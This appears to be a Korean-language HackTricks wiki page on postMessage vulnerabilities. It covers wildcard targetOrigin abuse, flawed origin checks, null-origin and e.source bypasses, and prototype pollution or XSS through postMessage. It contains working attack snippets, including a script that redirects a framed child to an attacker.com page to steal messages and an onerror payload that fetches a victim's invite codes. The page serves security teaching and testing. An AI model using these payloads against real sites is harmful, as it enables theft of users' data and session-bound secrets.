mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
228 lines
12 KiB
Markdown
228 lines
12 KiB
Markdown
# PostMessage 취약점
|
||
|
||
## PostMessage 취약점
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## **PostMessage** 전송
|
||
|
||
**PostMessage**는 메시지를 전송하기 위해 다음 기능을 사용합니다:
|
||
```bash
|
||
targetWindow.postMessage(message, targetOrigin, [transfer]);
|
||
|
||
# postMessage to current page
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe with id "idframe"
|
||
<iframe id="idframe" src="http://victim.com/"></iframe>
|
||
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe via onload
|
||
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
|
||
|
||
# postMessage to popup
|
||
win = open('URL', 'hack', 'width=800,height=300,top=500');
|
||
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an URL
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
|
||
|
||
# postMessage to iframe inside popup
|
||
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
|
||
## loop until win.length == 1 (until the iframe is loaded)
|
||
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
```
|
||
**targetOrigin**은 '\*' 또는 _https://company.com_과 같은 URL일 수 있습니다.\
|
||
**두 번째 시나리오**에서는 **메시지를 해당 도메인으로만 보낼 수 있습니다** (창 객체의 출처가 다르더라도).\
|
||
**와일드카드**가 사용되면, **메시지는 모든 도메인으로 전송될 수 있으며**, 창 객체의 출처로 전송됩니다.
|
||
|
||
### iframe 공격 및 **targetOrigin**의 와일드카드
|
||
|
||
[**이 보고서**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)에서 설명한 바와 같이, **iframed**(X-Frame-Header 보호 없음)될 수 있는 페이지를 찾고 **와일드카드**(\*)를 사용하여 **postMessage**를 통해 **민감한** 메시지를 **전송하는** 경우, **iframe**의 **origin**을 **수정**하고 **민감한** 메시지를 당신이 제어하는 도메인으로 **유출**할 수 있습니다.\
|
||
페이지가 iframed될 수 있지만 **targetOrigin**이 **와일드카드가 아닌 URL로 설정된 경우**, 이 **트릭은 작동하지 않습니다**.
|
||
```markup
|
||
<html>
|
||
<iframe src="https://docs.google.com/document/ID" />
|
||
<script>
|
||
setTimeout(exp, 6000); //Wait 6s
|
||
|
||
//Try to change the origin of the iframe each 100ms
|
||
function exp(){
|
||
setInterval(function(){
|
||
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||
}, 100);
|
||
}
|
||
</script>
|
||
```
|
||
## addEventListener 악용
|
||
|
||
**`addEventListener`**는 JS가 **`postMessages`**를 기대하는 함수를 선언하는 데 사용하는 함수입니다.\
|
||
다음과 유사한 코드가 사용될 것입니다:
|
||
```javascript
|
||
window.addEventListener(
|
||
"message",
|
||
(event) => {
|
||
if (event.origin !== "http://example.org:8080") return
|
||
|
||
// ...
|
||
},
|
||
false
|
||
)
|
||
```
|
||
코드가 **가장 먼저** 하는 일이 **출처를 확인하는 것**이라는 점에 유의하세요. 이는 수신된 정보로 **민감한 작업**을 수행할 경우 매우 **중요**합니다 (예: 비밀번호 변경). **출처를 확인하지 않으면 공격자가 피해자가 이 엔드포인트로 임의의 데이터를 전송하게 할 수 있으며** 피해자의 비밀번호를 변경할 수 있습니다 (이 예제에서).
|
||
|
||
### 열거
|
||
|
||
현재 페이지에서 **이벤트 리스너를 찾기 위해** 다음을 수행할 수 있습니다:
|
||
|
||
- **JS 코드에서** `window.addEventListener` 및 `$(window).on` (_JQuery 버전_)을 **검색**합니다.
|
||
- 개발자 도구 콘솔에서 **실행**합니다: `getEventListeners(window)`
|
||
|
||
 (1).png>)
|
||
|
||
- 브라우저의 개발자 도구에서 _Elements --> Event Listeners_로 **이동**합니다.
|
||
|
||
.png>)
|
||
|
||
- [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) 또는 [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker)와 같은 **브라우저 확장 프로그램**을 사용합니다. 이 브라우저 확장 프로그램은 **모든 메시지를 가로채어** 보여줍니다.
|
||
|
||
### 출처 확인 우회
|
||
|
||
- **`event.isTrusted`** 속성은 진정한 사용자 행동에 의해 생성된 이벤트에 대해서만 `True`를 반환하므로 안전하다고 간주됩니다. 올바르게 구현되면 우회하기 어려우나, 보안 검사에서의 중요성은 주목할 만합니다.
|
||
- PostMessage 이벤트에서 출처 검증을 위해 **`indexOf()`**를 사용하는 것은 우회에 취약할 수 있습니다. 이 취약성을 설명하는 예는 다음과 같습니다:
|
||
|
||
```javascript
|
||
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
|
||
```
|
||
|
||
- `String.prototype.search()`의 **`search()`** 메서드는 문자열이 아닌 정규 표현식을 위해 설계되었습니다. 정규 표현식이 아닌 것을 전달하면 암묵적으로 정규 표현식으로 변환되어 메서드가 잠재적으로 안전하지 않게 됩니다. 이는 정규 표현식에서 점(.)이 와일드카드로 작용하여 특별히 조작된 도메인으로 검증을 우회할 수 있게 합니다. 예를 들어:
|
||
|
||
```javascript
|
||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||
```
|
||
|
||
- `search()`와 유사한 **`match()`** 함수는 정규 표현식을 처리합니다. 정규 표현식이 잘못 구성되면 우회에 취약할 수 있습니다.
|
||
- **`escapeHtml`** 함수는 문자를 이스케이프하여 입력을 정리하는 데 사용됩니다. 그러나 새로운 이스케이프된 객체를 생성하지 않고 기존 객체의 속성을 덮어씁니다. 이 동작은 악용될 수 있습니다. 특히, 객체를 조작하여 그 제어 속성이 `hasOwnProperty`를 인식하지 못하게 할 수 있다면, `escapeHtml`은 예상대로 작동하지 않습니다. 이는 아래 예제에서 보여집니다:
|
||
|
||
- 예상 실패:
|
||
|
||
```javascript
|
||
result = u({
|
||
message: "'\"<b>\\",
|
||
})
|
||
result.message // "'"<b>\"
|
||
```
|
||
|
||
- 이스케이프 우회:
|
||
|
||
```javascript
|
||
result = u(new Error("'\"<b>\\"))
|
||
result.message // "'"<b>\"
|
||
```
|
||
|
||
이 취약성의 맥락에서 `File` 객체는 읽기 전용 `name` 속성으로 인해 특히 악용될 수 있습니다. 이 속성은 템플릿에서 사용될 때 `escapeHtml` 함수에 의해 정리되지 않아 잠재적인 보안 위험을 초래합니다.
|
||
|
||
- JavaScript의 `document.domain` 속성은 스크립트에 의해 설정되어 도메인을 단축할 수 있으며, 이는 동일한 부모 도메인 내에서 보다 느슨한 동일 출처 정책 시행을 허용합니다.
|
||
|
||
### e.origin == window.origin 우회
|
||
|
||
**샌드박스 iframe** 내에 웹 페이지를 삽입할 때 %%%%%%를 사용하는 경우, iframe의 출처가 null로 설정된다는 점을 이해하는 것이 중요합니다. 이는 **샌드박스 속성** 및 보안과 기능에 대한 그 의미를 다룰 때 특히 중요합니다.
|
||
|
||
샌드박스 속성에 **`allow-popups`**를 지정하면 iframe 내에서 열리는 모든 팝업 창은 부모의 샌드박스 제한을 상속받습니다. 이는 **`allow-popups-to-escape-sandbox`** 속성이 포함되지 않는 한, 팝업 창의 출처도 `null`로 설정되어 iframe의 출처와 일치함을 의미합니다.
|
||
|
||
따라서 이러한 조건에서 팝업이 열리고 iframe에서 팝업으로 메시지가 **`postMessage`**를 사용하여 전송되면, 송신 및 수신 양쪽의 출처가 `null`로 설정됩니다. 이 상황은 **`e.origin == window.origin`**이 true로 평가되는 시나리오를 초래합니다 (`null == null`), 왜냐하면 iframe과 팝업이 모두 `null`이라는 동일한 출처 값을 공유하기 때문입니다.
|
||
|
||
자세한 정보는 **읽어보세요**:
|
||
|
||
{{#ref}}
|
||
bypassing-sop-with-iframes-1.md
|
||
{{#endref}}
|
||
|
||
### e.source 우회
|
||
|
||
메시지가 스크립트가 청취하고 있는 동일한 창에서 온 것인지 확인할 수 있습니다 (특히 **브라우저 확장에서의 콘텐츠 스크립트**가 메시지가 동일한 페이지에서 전송되었는지 확인하는 데 흥미롭습니다):
|
||
```javascript
|
||
// If it’s not, return immediately.
|
||
if (received_message.source !== window) {
|
||
return
|
||
}
|
||
```
|
||
메시지의 **`e.source`**를 null로 만들기 위해 **postMessage**를 **전송**하고 **즉시 삭제되는** **iframe**을 생성할 수 있습니다.
|
||
|
||
자세한 정보는 **읽어보세요:**
|
||
|
||
{{#ref}}
|
||
bypassing-sop-with-iframes-2.md
|
||
{{#endref}}
|
||
|
||
### X-Frame-Header 우회
|
||
|
||
이러한 공격을 수행하기 위해 이상적으로는 **피해자 웹 페이지**를 `iframe` 안에 넣을 수 있어야 합니다. 그러나 `X-Frame-Header`와 같은 일부 헤더는 그러한 **동작**을 **방지**할 수 있습니다.\
|
||
이러한 시나리오에서는 덜 은밀한 공격을 여전히 사용할 수 있습니다. 취약한 웹 애플리케이션에 새 탭을 열고 그와 통신할 수 있습니다:
|
||
```markup
|
||
<script>
|
||
var w=window.open("<url>")
|
||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||
</script>
|
||
```
|
||
### 자식에게 전송된 메시지를 메인 페이지 차단으로 훔치기
|
||
|
||
다음 페이지에서는 **메인** 페이지를 차단한 후 **자식 iframe**에 전송된 **민감한 postmessage 데이터**를 어떻게 훔칠 수 있는지 보여줍니다. **자식**에서 **XSS**를 악용하여 데이터가 수신되기 전에 **데이터를 유출**합니다:
|
||
|
||
{{#ref}}
|
||
blocking-main-page-to-steal-postmessage.md
|
||
{{#endref}}
|
||
|
||
### iframe 위치 수정으로 메시지 훔치기
|
||
|
||
X-Frame-Header가 없는 웹페이지를 iframe으로 삽입할 수 있다면, **자식 iframe의 위치를 변경**할 수 있습니다. 만약 **와일드카드**를 사용하여 전송된 **postmessage**를 수신하고 있다면, 공격자는 그 iframe의 **출처**를 자신이 **제어하는** 페이지로 **변경**하고 메시지를 **훔칠** 수 있습니다:
|
||
|
||
{{#ref}}
|
||
steal-postmessage-modifying-iframe-location.md
|
||
{{#endref}}
|
||
|
||
### postMessage를 통한 프로토타입 오염 및/또는 XSS
|
||
|
||
`postMessage`를 통해 전송된 데이터가 JS에 의해 실행되는 시나리오에서는, **페이지를 iframe**으로 삽입하고 **프로토타입 오염/XSS**를 **postMessage**를 통해 악용할 수 있습니다.
|
||
|
||
[https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)에서 **postMessage**를 통한 **XSS**에 대한 **매우 잘 설명된** 사례를 찾을 수 있습니다.
|
||
|
||
`iframe`으로의 `postMessage`를 통한 **프로토타입 오염 및 XSS**를 악용하는 예:
|
||
```html
|
||
<html>
|
||
<body>
|
||
<iframe
|
||
id="idframe"
|
||
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
|
||
<script>
|
||
function get_code() {
|
||
document
|
||
.getElementById("iframe_victim")
|
||
.contentWindow.postMessage(
|
||
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
|
||
"*"
|
||
)
|
||
document
|
||
.getElementById("iframe_victim")
|
||
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
|
||
}
|
||
|
||
setTimeout(get_code, 2000)
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
자세한 정보는 다음을 참조하세요:
|
||
|
||
- [**프로토타입 오염**](../deserialization/nodejs-proto-prototype-pollution/)에 대한 페이지 링크
|
||
- [**XSS**](../xss-cross-site-scripting/)에 대한 페이지 링크
|
||
- [**클라이언트 측 프로토타입 오염에서 XSS로**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)에 대한 페이지 링크
|
||
|
||
## 참고 문헌
|
||
|
||
- [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||
- 연습용: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|